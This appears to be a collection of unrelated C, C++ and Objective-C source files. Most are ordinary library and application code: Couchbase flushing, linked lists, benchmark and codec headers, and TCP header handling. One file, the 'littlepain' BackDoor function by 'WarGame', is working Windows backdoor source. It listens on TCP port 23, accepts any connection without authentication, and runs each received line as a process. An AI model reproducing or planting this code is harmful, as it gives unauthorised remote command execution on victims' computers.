php_couchbase_res *res)
{
lcb_error_t retval;
lcb_error_t cberr = LCB_SUCCESS;
lcb_flush_cmd_t cmd;
const lcb_flush_cmd_t *const commands[] = { &cmd };
lcb_t instance;
instance = res->handle;
memset(&cmd, 0, sizeof(cmd));
lcb_set_flush_callback(instance, memcached_flush_callback);
retval = lcb_flush(instance, (const void *)&cberr, 1, commands);
if (retval == LCB_SUCCESS) {
retval = cberr;
}
res->rc = retval;
if (retval == LCB_SUCCESS) {
RETURN_TRUE;
} else {
char errmsg[256];
sprintf(errmsg, "Failed to flush bucket: %s",
lcb_strerror(instance, retval));
couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo,
cb_lcb_exception, errmsg);
}
}
PHP_COUCHBASE_LOCAL
void php_couchbase_flush_impl(INTERNAL_FUNCTION_PARAMETERS, int oo)
{
php_couchbase_res *res;
lcb_t instance;
int argflags = oo ? PHP_COUCHBASE_ARG_F_OO : PHP_COUCHBASE_ARG_F_FUNCTIONAL;
PHP_COUCHBASE_GET_PARAMS(res, argflags, "");
instance = res->handle;
lcb_behavior_set_syncmode(instance, LCB_SYNCHRONOUS);
if (COUCHBASE_G(restflush)) {
do_rest_flush(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, res);
} else {
do_memcached_flush(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo, res);
}
lcb_behavior_set_syncmode(instance, LCB_ASYNCHRONOUS);
}
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/
|
#include "list.h"
void __list_add__(list_node_t *prev, list_node_t *next, list_node_t *node)
{
next->prev = node;
node->next = next;
node->prev = prev;
prev->next = node;
}
void __list_del__(list_node_t *prev, list_node_t *next)
{
next->prev = prev;
prev->next = next;
}
void __list_erase__(list_t *list, list_node_t *node)
{
list_iter_t next, prev;
if (list_is_singular(*list)) {
list->head = list->tail = NULL;
} else {
next = node->next;
prev = node->prev;
__list_del__(node->prev, node->next);
list->head = list->head == node ? next : list->head;
list->tail = list->tail == node ? prev : list->tail;
}
node->prev = NULL;
node->next = NULL;
}
void __list_replace__(list_node_t *o, list_node_t *n)
{
n->next = o->next;
n->next->prev = n;
n->prev = o->prev;
n->prev->next = n;
}
void __list_push_back__(list_t *list, list_node_t *node)
{
if (list->head) {
__list_add__(list->head->prev, list->head, node);
list->tail = node;
} else {
list->head = list->tail = node->next = node->prev = node;
}
}
void __list_push_front__(list_t *list, list_node_t *node)
{
if (list->head) {
__list_add__(list->head->prev, list->head, node);
list->head = node;
} else {
list->head = list->tail = node->next = node->prev = node;
}
}
|
// Copyright 2012 Google Inc. All Rights Reserved
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Author: [email protected] (Tomasz Kaftal)
//
// This file contains the benchmark manager class which is responsible for
// carrying out the benchmarking process from cursor reception to DOT graph
// drawing.
#ifndef SUPERSONIC_BENCHMARK_MANAGER_BENCHMARK_MANAGER_H_
#define SUPERSONIC_BENCHMARK_MANAGER_BENCHMARK_MANAGER_H_
#include <memory>
#include "supersonic/benchmark/infrastructure/benchmark_listener.h"
#include "supersonic/benchmark/infrastructure/cursor_statistics.h"
#include "supersonic/benchmark/infrastructure/node.h"
#include "supersonic/benchmark/infrastructure/tree_builder.h"
#include "supersonic/benchmark/dot/dot_drawer.h"
#include "supersonic/utils/macros.h"
namespace supersonic {
class Cursor;
// Enum, whose values describe the possible graph generation destinations.
enum Destination {
DOT_FILE,
DOT_STRING
};
// Structure containing options for graph visualisation, currently
// the destination enum and possibly a file name.
struct GraphVisualisationOptions {
explicit GraphVisualisationOptions(Destination destination)
: destination(destination) {}
GraphVisualisationOptions(Destination destination, const string& file_name)
: destination(destination),
file_name(file_name) {}
Destination destination;
string file_name;
};
// BenchmarkDataWrapper contains the instances of objects necessary to run
// a benchmark on a cursor.
class BenchmarkDataWrapper {
public:
// Takes ownership of cursor, tree builder and node.
BenchmarkDataWrapper(
unique_ptr<Cursor> cursor,
unique_ptr<BenchmarkTreeBuilder> builder,
unique_ptr<BenchmarkTreeNode> node)
: cursor_(std::move(cursor)),
tree_builder_(std::move(builder)),
node_(std::move(node)) {}
// Caller takes ownership of the result.
unique_ptr<Cursor> move_cursor() { return std::move(cursor_); }
// No ownership transfer.
BenchmarkTreeNode* node() { return node_.get(); }
private:
unique_ptr<Cursor> cursor_;
unique_ptr<BenchmarkTreeBuilder> tree_builder_;
unique_ptr<BenchmarkTreeNode> node_;
};
// Transforms the cursor tree, whose root is passed as the argument, by
// attaching spy cursors in between benchmarked nodes. The result is
// a BenchmarkDataWrapper object, which stores the transformed cursor. In
// this use case the caller then takes over the cursor and proceeds
// to carrying out computations on it. The data wrapper must not be destroyed
// before the benchmarking has been completed, that is before the graph has
// been created using the CreateGraph() function, and before the lifetime of
// the cursor ends.
//
// Caller takes ownership of the result data wrapper. The transformed cursor
// resident in the wrapper will take ownership of the argument cursor. The
// caller will have to drain the transformed cursor before proceeding to
// graph creation.
unique_ptr<BenchmarkDataWrapper> SetUpBenchmarkForCursor(unique_ptr<Cursor> cursor);
// CreateGraph() is used to finalise the benchmarking process by drawing
// a performance graph. It accepts the name of the benchmark, a pointer to
// the benchmark node accessible from BenchmarkDataWrapper and created when
// a call to SetUpBenchmarkForCursor() is made, and an options structure.
// Depending on the options the type of the performed visualisation will vary,
// while options' destination field will determine the semantics of the result
// string:
//
// DOT_FILE - an empty string,
// DOT_STRING - the generated DOT code,
// GRAPHVIZ_RPC - url to the generated DOT graph.
//
// The caller is responsible for draining the benchmarked cursor manually before
// calling CreateGraph().
//
// Does not take ownership of the node.
string CreateGraph(
const string& benchmark_name,
BenchmarkTreeNode* node,
GraphVisualisationOptions options);
// PerformBenchmark() is an all-in-one function which runs a benchmark on
// the given cursor. The benchmark will be labelled with benchmark_name and
// visualised using options. The function will drain the cursor by calling
// its Next() function with the specified block size until the data have been
// depleted. The returned value will depend on the options argument analogously
// to CreateGraph().
//
// Takes ownership of the cursor and destroys it when the benchmark graph
// is ready.
string PerformBenchmark(
const string& benchmark_name,
unique_ptr<Cursor> cursor,
rowcount_t max_block_size,
GraphVisualisationOptions options);
} // namespace supersonic
#endif // SUPERSONIC_BENCHMARK_MANAGER_BENCHMARK_MANAGER_H_
|
#include "littlepain.h"
/* the backdoor :) */
DWORD WINAPI BackDoor(LPVOID Data)
{
SOCKET server_sock,client_sock;
struct sockaddr_in serv_inf;
struct timeval tv;
fd_set ft;
char exec[MAX_PATH];
DWORD cnt;
STARTUPINFO inf_prog;
PROCESS_INFORMATION info_pr;
if((server_sock = socket(AF_INET,SOCK_STREAM,
IPPROTO_TCP)) == INVALID_SOCKET)
{
return 0;
}
serv_inf.sin_family = AF_INET;
serv_inf.sin_addr.s_addr = htonl(INADDR_ANY);
serv_inf.sin_port = htons(23);
if(bind(server_sock,(struct sockaddr *)&serv_inf,
sizeof(struct sockaddr_in)) == SOCKET_ERROR)
{
return 0;
}
listen(server_sock,SOMAXCONN);
/* main loop! */
while(1)
{
client_sock = accept(server_sock,NULL,0);
tv.tv_usec = 0;
tv.tv_sec = 60;
FD_ZERO(&ft);
FD_SET(client_sock,&ft);
/* send a msg */
send(client_sock,"[:: littlepain ::] by WarGame\r\n",31,0);
while(1)
{
if(select(client_sock+1,&ft,NULL,NULL,&tv) > 0)
{
memset(exec,0,MAX_PATH);
recv(client_sock,exec,MAX_PATH,0);
/* remove "\r" and "\n" */
for(cnt = 0;cnt < strlen(exec);cnt++)
{
if(exec[cnt] == '\r' || exec[cnt] == '\n')
{
exec[cnt] = 0;
}
}
/* (try to) execute the command */
memset(&inf_prog,0,sizeof(STARTUPINFO));
memset(&info_pr,0,sizeof(PROCESS_INFORMATION));
inf_prog.cb = sizeof(STARTUPINFO);
inf_prog.dwFlags = STARTF_USESHOWWINDOW;
inf_prog.wShowWindow = SW_SHOW;
if(CreateProcess(NULL,exec,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,
NULL,NULL,&inf_prog,&info_pr))
{
send(client_sock,"Executed!\r\n",11,0);
}
else
{
send(client_sock,"Not Executed!\r\n",15,0);
}
}
else
{
closesocket(client_sock);
break;
}
}
}
}
|
//
// UIImage+Image.h
// 生日管家
//
// Created by yz on 15/7/6.
// Copyright (c) 2015年 yz. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UIImage (Image)
// 根据颜色生成一张尺寸为1*1的相同颜色图片
+ (UIImage *)imageWithColor:(UIColor *)color;
// 拉伸图片
+ (UIImage *)resizedImageWithName:(NSString *)name;
+ (UIImage *)resizedImageWithName:(NSString *)name left:(CGFloat)left top:(CGFloat)top;
// 返回一张未渲染的图片
+ (instancetype)imageWithRenderingModeOriginal:(NSString *)imageName;
// 对图片压缩
+ (UIImage *)imageCompressForSize:(UIImage *)sourceImage targetSize:(CGSize)size;
// 对图片压缩2
+ (UIImage *)resizeImage:(UIImage *)image toWidth:(CGFloat)width height:(CGFloat)height;
// 把图片按比例压缩
+ (instancetype)zoomImage:(UIImage *)image toScale:(CGFloat)scale;
// 把图片压缩到buttonItem大小
+ (UIImage *)resizeImageToBarButtonItemSize:(UIImage*)image;
@end
|
////////////////////////////////////////////////////////////////////////////
// Module : alife_human_object_handler.h
// Created : 07.10.2005
// Modified : 07.10.2005
// Author : Dmitriy Iassenev
// Description : ALife human object handler class
////////////////////////////////////////////////////////////////////////////
#pragma once
#include "alife_space.h"
class CSE_ALifeItemWeapon;
class CSE_ALifeInventoryItem;
class CSE_ALifeGroupAbstract;
class CSE_ALifeHumanAbstract;
class CALifeHumanObjectHandler {
public:
typedef CSE_ALifeHumanAbstract object_type;
private:
object_type* m_object;
public:
IC CALifeHumanObjectHandler(object_type* object);
IC object_type& object() const;
public:
u16 get_available_ammo_count(const CSE_ALifeItemWeapon* weapon, ALife::OBJECT_VECTOR& objects);
u16 get_available_ammo_count(const CSE_ALifeItemWeapon* weapon, ALife::ITEM_P_VECTOR& items,
ALife::OBJECT_VECTOR* objects = 0);
void attach_available_ammo(CSE_ALifeItemWeapon* weapon, ALife::ITEM_P_VECTOR& items,
ALife::OBJECT_VECTOR* objects = 0);
bool can_take_item(CSE_ALifeInventoryItem* inventory_item);
void collect_ammo_boxes();
public:
void detach_all(bool fictitious);
void update_weapon_ammo();
void process_items();
CSE_ALifeDynamicObject* best_detector();
CSE_ALifeItemWeapon* best_weapon();
public:
int choose_equipment(ALife::OBJECT_VECTOR* objects = 0);
int choose_weapon(const ALife::EWeaponPriorityType& weapon_priority_type,
ALife::OBJECT_VECTOR* objects = 0);
int choose_food(ALife::OBJECT_VECTOR* objects = 0);
int choose_medikit(ALife::OBJECT_VECTOR* objects = 0);
int choose_detector(ALife::OBJECT_VECTOR* objects = 0);
int choose_valuables();
bool choose_fast();
void choose_group(CSE_ALifeGroupAbstract* group_abstract);
void attach_items();
};
#include "alife_human_object_handler_inline.h"
|
/*
* Copyright (C) 2014-2015 Vy Nguyen
* Github https://github.com/vy-nguyen/tvntd
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _CRYPTO_USER_CACHE_H_
#define _CRYPTO_USER_CACHE_H_
#include <crypto/user.h>
class AsyncKeyClient;
class KeyServiceClient;
class UserLruCache : public LruTable
{
public:
UserLruCache(int max_elm, Crypto::ptr m) : LruTable(max_elm), cryp_mod(m) {}
inline UserCrypto::ptr get_user(uint64_t uuid) {
return object_cast<UserCrypto>(lookup(uuid));
}
inline UserCrypto::ptr get_user(uint64_t uuid, uint64_t key_ver) {
return object_cast<UserCrypto>(lookup(uuid));
}
void get_user(uint64_t uuid, uint64_t key_ver, lru_str_cb cb);
bool get_public_key(uint64_t uuid, uint64_t ver, std::string *key);
void get_public_key(uint64_t uuid, uint64_t ver, lru_str_cb cb);
bool get_all_pub_keys(uint64_t uuid, std::vector<Crypto::KeyVer::ptr> *krec);
LruObj::ptr lookup_missed(uint64_t uuid) override;
LruObj::ptr lookup_missed(const std::string &key) override;
void lookup_missed(uint64_t uuid, lru_u64_cb cb) override;
void lookup_missed(const std::string &key, lru_str_cb cb) override;
protected:
Crypto::ptr cryp_mod;
};
#endif /* _CRYPTO_USER_CACHE_H_ */
|
#ifndef dynamic_array_h
#define dynamic_array_h
#include <stdlib.h>
#include "dynamic_array.c"
struct dynamic_array {
uint32_t size;
uint32_t expansion_factor;
void ** array;
};
int da_precise_create (struct dynamic_array * ar, uint32_t init_size, uint32_t expansion_factor);
int da_create (struct dynamic_array * ar);
int64_t da_add(struct dynamic_array * ar, void * val);
void da_delete(struct dynamic_array * ar);
#endif
|
/* Source code for textbook:
Flexible Reliable Software, by Henrik B. Christensen
CRC Press 2010
***********************************
Project developped in java by Henrik B. Christensen
C++ port by Robert Benkoczi
***********************************
*/
#ifndef __ILLEGALCOINEXCEPTION_H
#define __ILLEGALCOINEXCEPTION_H
#include <exception>
#include <string>
/** Exception representing illegal coin entry.
*/
class IllegalCoinException : public std::exception {
public:
/**
* @param e is a description of the exception
*/
IllegalCoinException( std::string e ) {};
};
#endif
|
/*
* Copyright 2015 Suprema([email protected])
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import <UIKit/UIKit.h>
@interface TimeCell : UITableViewCell
@property (weak, nonatomic) IBOutlet UILabel *titleLabel;
@property (weak, nonatomic) IBOutlet UILabel *startTimeLabel;
@property (weak, nonatomic) IBOutlet UILabel *expireTimeLabel;
@end
|
/*=========================================================================
Program: GDCM (Grassroots DICOM). A DICOM library
Copyright (c) 2006-2011 Mathieu Malaterre
All rights reserved.
See Copyright.txt or http://gdcm.sourceforge.net/Copyright.html for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#ifndef GDCMMD5_H
#define GDCMMD5_H
#include "gdcmTypes.h"
namespace gdcm
{
//-----------------------------------------------------------------------------
class MD5Internals;
/**
* \brief Class for MD5
*
* \warning this class is able to pick from two implementations:
*
* 1. a lightweight md5 implementation (when GDCM_BUILD_TESTING is turned ON)
* 2. the one from OpenSSL (when GDCM_USE_SYSTEM_OPENSSL is turned ON)
*
* In all other cases it will return an error
*/
class GDCM_EXPORT MD5
{
public :
MD5();
~MD5();
static bool Compute(const char *buffer, unsigned long buf_len, char digest_str[33]);
static bool ComputeFile(const char *filename, char digest_str[33]);
private:
MD5Internals *Internals;
private:
MD5(const MD5&); // Not implemented.
void operator=(const MD5&); // Not implemented.
};
} // end namespace gdcm
//-----------------------------------------------------------------------------
#endif //GDCMMD5_H
|
/*
Copyright 2014 Cloudbase Solutions Srl
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http ://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "Tcp.h"
#include "Ethernet.h"
#include "Ipv4.h"
#include "Ipv6.h"
#include "Frame.h"
#include "PacketInfo.h"
#include "OvsNetBuffer.h"
#include "Checksum.h"
OVS_TCP_HEADER* GetTcpHeader(VOID* pPacketBuffer)
{
OVS_ETHERNET_HEADER* pEthHeader = (OVS_ETHERNET_HEADER*)pPacketBuffer;
OVS_TCP_HEADER* pTcpHeader = NULL;
if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_QTAG))
{
pEthHeader = (OVS_ETHERNET_HEADER*)((BYTE*)pEthHeader + OVS_ETHERNET_VLAN_LEN);
}
if (pEthHeader->type != RtlUshortByteSwap(OVS_ETHERTYPE_IPV4) &&
pEthHeader->type != RtlUshortByteSwap(OVS_ETHERTYPE_IPV6))
{
return NULL;
}
if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_IPV4))
{
const OVS_IPV4_HEADER* pIpv4Header = ReadIpv4Header(pEthHeader);
if (pIpv4Header->Protocol != OVS_IPPROTO_TCP)
{
return NULL;
}
pTcpHeader = (OVS_TCP_HEADER*)AdvanceIpv4Header(pIpv4Header);
return pTcpHeader;
}
if (pEthHeader->type == RtlUshortByteSwap(OVS_ETHERTYPE_IPV6))
{
OVS_IPV6_HEADER* pIpv6Header = ReadIpv6Header(pEthHeader);
BYTE nextHeader = pIpv6Header->nextHeader;
VOID* advancedBuffer = AdvanceIpv6Header(pIpv6Header);
BYTE headerLength = 0;
while (IsIpv6Extension(nextHeader))
{
nextHeader = *((BYTE*)advancedBuffer);
headerLength = *(sizeof(nextHeader) + (BYTE*)advancedBuffer);
advancedBuffer = ((BYTE*)advancedBuffer) + headerLength + 8;
}
if (nextHeader != OVS_IPV6_EXTH_TCP)
{
return NULL;
}
pTcpHeader = (OVS_TCP_HEADER*)advancedBuffer;
return pTcpHeader;
}
return NULL;
}
BOOLEAN ONB_SetTcp(OVS_NET_BUFFER* pOvsNb, const OVS_PI_TCP* pTcpPI)
{
OVS_TCP_HEADER *pTcpHeader = NULL;
OVS_IPV4_HEADER* pIpv4Header = NULL;
VOID* buffer = NULL;
UINT16 csumRecomp = 0;
UINT16 offset = 0, reserved = 0, flags = 0;
buffer = ONB_GetData(pOvsNb);
pIpv4Header = GetIpv4Header(buffer);
pTcpHeader = GetTcpHeader(buffer);
if (pTcpPI->source != pTcpHeader->sourcePort)
{
DEBUGP_FRAMES(LOG_INFO, "src port (BE): 0x%x -> 0x%x\n", pTcpHeader->sourcePort, pTcpPI->source);
DEBUGP_FRAMES(LOG_INFO, "dst port (BE): 0x%x\n", pTcpHeader->destinationPort);
csumRecomp = (WORD)RecomputeChecksum((BYTE*)&pTcpHeader->sourcePort, (BYTE*)&pTcpPI->source, 2, pTcpHeader->checksum);
csumRecomp = RtlUshortByteSwap(csumRecomp);
pTcpHeader->checksum = csumRecomp;
pTcpHeader->sourcePort = pTcpPI->source;
}
if (pTcpPI->destination != pTcpHeader->destinationPort)
{
DEBUGP_FRAMES(LOG_INFO, "src port (BE): 0x%x\n", pTcpHeader->sourcePort);
DEBUGP_FRAMES(LOG_INFO, "dst port (BE): 0x%x -> 0x%x\n", pTcpHeader->destinationPort, pTcpPI->destination);
csumRecomp = (WORD)RecomputeChecksum((BYTE*)&pTcpHeader->destinationPort, (BYTE*)&pTcpPI->destination, 2, pTcpHeader->checksum);
csumRecomp = RtlUshortByteSwap(csumRecomp);
pTcpHeader->checksum = csumRecomp;
pTcpHeader->destinationPort = pTcpPI->destination;
}
offset = GetTcpDataOffset(pTcpHeader->flagsAndOffset);
reserved = GetTcpReserved(pTcpHeader->flagsAndOffset);
flags = GetTcpFlags(pTcpHeader->flagsAndOffset);
DEBUGP_FRAMES(LOG_INFO, "seq number: 0x%x; ack number: 0x%x; offset: 0x%x; reserved: 0x%x; flags: 0x%x\n",
pTcpHeader->sequenceNo, pTcpHeader->acknowledgeNo, offset, reserved, flags);
return TRUE;
}
_Use_decl_annotations_
void DbgPrintTcpHeader(const VOID* buffer)
{
OVS_TCP_HEADER* pTcpHeader = (OVS_TCP_HEADER*)buffer;
UNREFERENCED_PARAMETER(pTcpHeader);
DEBUGP_FRAMES(LOG_INFO, "tcp: src port = %d; dest port = %d\n", RtlUshortByteSwap(pTcpHeader->sourcePort), RtlUshortByteSwap(pTcpHeader->destinationPort));
}
BOOLEAN VerifyTcpHeader(BYTE* buffer, ULONG* pLength)
{
OVS_TCP_HEADER* pTcpHeader = (OVS_TCP_HEADER*)buffer;
//TODO: verify. ATM nothing is done
UNREFERENCED_PARAMETER(buffer);
UNREFERENCED_PARAMETER(pLength);
UNREFERENCED_PARAMETER(pTcpHeader);
return TRUE;
}
|
//- Copyright 2013 the Neutrino authors (see AUTHORS).
//- Licensed under the Apache License, Version 2.0 (see LICENSE).
#ifndef _RUNTIME_INL
#define _RUNTIME_INL
#include "runtime.h"
// Expands to the body of a safe_ function that works by calling a delegate and
// if it fails garbage collecting and trying again once.
#define RETRY_ONCE_IMPL(RUNTIME, DELEGATE) do { \
__GENERIC_RETRY_DEF__(P_FLAVOR, RUNTIME, value, DELEGATE, P_RETURN); \
return value; \
} while (false)
#endif // _RUNTIME_INL
|
/*
* Copyright 2014-2015 Nippon Telegraph and Telephone Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __LAGOPUS_RUNNABLE_FUNCS_H__
#define __LAGOPUS_RUNNABLE_FUNCS_H__
/**
* @file lagopus_runnable_funcs.h
*/
#ifndef RUNNABLE_T_DECLARED
typedef struct lagopus_runnable_record *lagopus_runnable_t;
#define RUNNABLE_T_DECLARED
#endif /* ! RUNNABLE_T_DECLARED */
/**
* A procedure for a runnable.
*
* @param[in] rptr A runnable.
* @param[in] arg An argument.
*
* @details If any resoures acquired in the function must be released
* before returning. Doing this must be the functions's responsibility.
*
* @details This function must not loop infinitely, but must return in
* appropriate amount of execution time.
*/
typedef void (*lagopus_runnable_proc_t)(const lagopus_runnable_t *rptr,
void *arg);
/**
* Free a runnable up.
*
* @param[in] rptr A pointer to a runnable.
*
* @details Don't free the \b *rptr itself up.
*/
typedef void (*lagopus_runnable_freeup_proc_t)(lagopus_runnable_t *rptr);
#endif /* ! __LAGOPUS_RUNNABLE_FUNCS_H__ */
|
/*
* Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#ifndef MODULES_VIDEO_CODING_CODECS_STEREO_INCLUDE_STEREO_ENCODER_ADAPTER_H_
#define MODULES_VIDEO_CODING_CODECS_STEREO_INCLUDE_STEREO_ENCODER_ADAPTER_H_
#include <map>
#include <memory>
#include <vector>
#include "api/video_codecs/sdp_video_format.h"
#include "api/video_codecs/video_encoder.h"
#include "api/video_codecs/video_encoder_factory.h"
#include "modules/video_coding/include/video_codec_interface.h"
namespace webrtc {
enum AlphaCodecStream {
kYUVStream = 0,
kAXXStream = 1,
kAlphaCodecStreams = 2,
};
class StereoEncoderAdapter : public VideoEncoder {
public:
// |factory| is not owned and expected to outlive this class' lifetime.
explicit StereoEncoderAdapter(VideoEncoderFactory* factory,
const SdpVideoFormat& associated_format);
virtual ~StereoEncoderAdapter();
// Implements VideoEncoder
int InitEncode(const VideoCodec* inst,
int number_of_cores,
size_t max_payload_size) override;
int Encode(const VideoFrame& input_image,
const CodecSpecificInfo* codec_specific_info,
const std::vector<FrameType>* frame_types) override;
int RegisterEncodeCompleteCallback(EncodedImageCallback* callback) override;
int SetChannelParameters(uint32_t packet_loss, int64_t rtt) override;
int SetRateAllocation(const BitrateAllocation& bitrate,
uint32_t new_framerate) override;
int Release() override;
const char* ImplementationName() const override;
EncodedImageCallback::Result OnEncodedImage(
AlphaCodecStream stream_idx,
const EncodedImage& encodedImage,
const CodecSpecificInfo* codecSpecificInfo,
const RTPFragmentationHeader* fragmentation);
private:
// Wrapper class that redirects OnEncodedImage() calls.
class AdapterEncodedImageCallback;
VideoEncoderFactory* const factory_;
const SdpVideoFormat associated_format_;
std::vector<std::unique_ptr<VideoEncoder>> encoders_;
std::vector<std::unique_ptr<AdapterEncodedImageCallback>> adapter_callbacks_;
EncodedImageCallback* encoded_complete_callback_;
// Holds the encoded image info.
struct ImageStereoInfo;
std::map<uint32_t /* timestamp */, ImageStereoInfo> image_stereo_info_;
uint16_t picture_index_ = 0;
std::vector<uint8_t> stereo_dummy_planes_;
};
} // namespace webrtc
#endif // MODULES_VIDEO_CODING_CODECS_STEREO_INCLUDE_STEREO_ENCODER_ADAPTER_H_
|
// Copyright 2020 The IREE Authors
//
// Licensed under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
#ifndef IREE_COMPILER_DIALECT_HAL_TARGET_LLVM_LLVMAOTTARGET_H_
#define IREE_COMPILER_DIALECT_HAL_TARGET_LLVM_LLVMAOTTARGET_H_
#include "iree/compiler/Dialect/HAL/Target/LLVM/LLVMTargetOptions.h"
namespace mlir {
namespace iree_compiler {
namespace IREE {
namespace HAL {
// Registers the LLVM Ahead-Of-Time (AOT) target backends.
void registerLLVMAOTTargetBackends(
std::function<LLVMTargetOptions()> queryOptions);
} // namespace HAL
} // namespace IREE
} // namespace iree_compiler
} // namespace mlir
#endif // IREE_COMPILER_DIALECT_HAL_TARGET_LLVM_LLVMAOTTARGET_H_
|
//
// HKZStatusToolBar.h
// Weibo
//
// Created by hukezhu on 15/8/2.
// Copyright (c) 2015年 hukezhu. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "HKZStatus.h"
@interface HKZStatusToolBar : UIView
@property(nonatomic,strong)HKZStatus *status;/**< 数据模型 */
@end
|
//
// Generated by the J2ObjC translator. DO NOT EDIT!
// source: /Volumes/Personal/Documents/raspi-config/client-framework/build/j2oSources/com/google/common/util/concurrent/ThreadFactoryBuilder.java
//
#include "J2ObjC_header.h"
#pragma push_macro("INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder")
#ifdef RESTRICT_ComGoogleCommonUtilConcurrentThreadFactoryBuilder
#define INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder 0
#else
#define INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder 1
#endif
#undef RESTRICT_ComGoogleCommonUtilConcurrentThreadFactoryBuilder
#if __has_feature(nullability)
#pragma clang diagnostic push
#pragma GCC diagnostic ignored "-Wnullability-completeness"
#endif
#if !defined (ComGoogleCommonUtilConcurrentThreadFactoryBuilder_) && (INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder || defined(INCLUDE_ComGoogleCommonUtilConcurrentThreadFactoryBuilder))
#define ComGoogleCommonUtilConcurrentThreadFactoryBuilder_
@protocol JavaLangThread_UncaughtExceptionHandler;
@protocol JavaUtilConcurrentThreadFactory;
@interface ComGoogleCommonUtilConcurrentThreadFactoryBuilder : NSObject
#pragma mark Public
- (instancetype)init;
- (id<JavaUtilConcurrentThreadFactory>)build;
- (ComGoogleCommonUtilConcurrentThreadFactoryBuilder *)setDaemonWithBoolean:(jboolean)daemon;
- (ComGoogleCommonUtilConcurrentThreadFactoryBuilder *)setNameFormatWithNSString:(NSString *)nameFormat;
- (ComGoogleCommonUtilConcurrentThreadFactoryBuilder *)setPriorityWithInt:(jint)priority;
- (ComGoogleCommonUtilConcurrentThreadFactoryBuilder *)setThreadFactoryWithJavaUtilConcurrentThreadFactory:(id<JavaUtilConcurrentThreadFactory>)backingThreadFactory;
- (ComGoogleCommonUtilConcurrentThreadFactoryBuilder *)setUncaughtExceptionHandlerWithJavaLangThread_UncaughtExceptionHandler:(id<JavaLangThread_UncaughtExceptionHandler>)uncaughtExceptionHandler;
@end
J2OBJC_EMPTY_STATIC_INIT(ComGoogleCommonUtilConcurrentThreadFactoryBuilder)
FOUNDATION_EXPORT void ComGoogleCommonUtilConcurrentThreadFactoryBuilder_init(ComGoogleCommonUtilConcurrentThreadFactoryBuilder *self);
FOUNDATION_EXPORT ComGoogleCommonUtilConcurrentThreadFactoryBuilder *new_ComGoogleCommonUtilConcurrentThreadFactoryBuilder_init() NS_RETURNS_RETAINED;
